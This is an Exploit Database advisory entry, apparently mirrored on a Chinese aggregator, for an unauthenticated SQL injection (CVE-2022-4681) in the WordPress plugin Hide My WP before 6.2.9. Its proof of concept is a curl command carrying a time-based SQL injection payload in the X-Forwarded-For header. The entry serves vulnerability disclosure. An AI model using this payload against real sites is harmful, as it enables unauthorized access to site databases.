Hide My WP < 6.2.9 - Unauthenticated SQLi

• Exploit Database
• 119 阅读

• 作者： Xenofon Vassilakopoulos
  日期： 2024-03-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51871/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  # Exploit Title: WordPress Plugin Hide My WP < 6.2.9 - Unauthenticated SQLi # Publication Date: 2023-01-11 # Original Researcher: Xenofon Vassilakopoulos # Exploit Author: Xenofon Vassilakopoulos # Submitter: Xenofon Vassilakopoulos # Vendor Homepage: https://wpwave.com/ # Version: Hide My WP v6.2.8 and prior # Tested on: Hide My WP v6.2.7 # Impact: Database Access # CVE: CVE-2022-4681 # CWE: CWE-89 # CVSS Score: 8.6 (high)   ## Description   The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.     ## Proof of Concept   curl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1&apos;+(select*from(select(sleep(20)))a)+&apos;"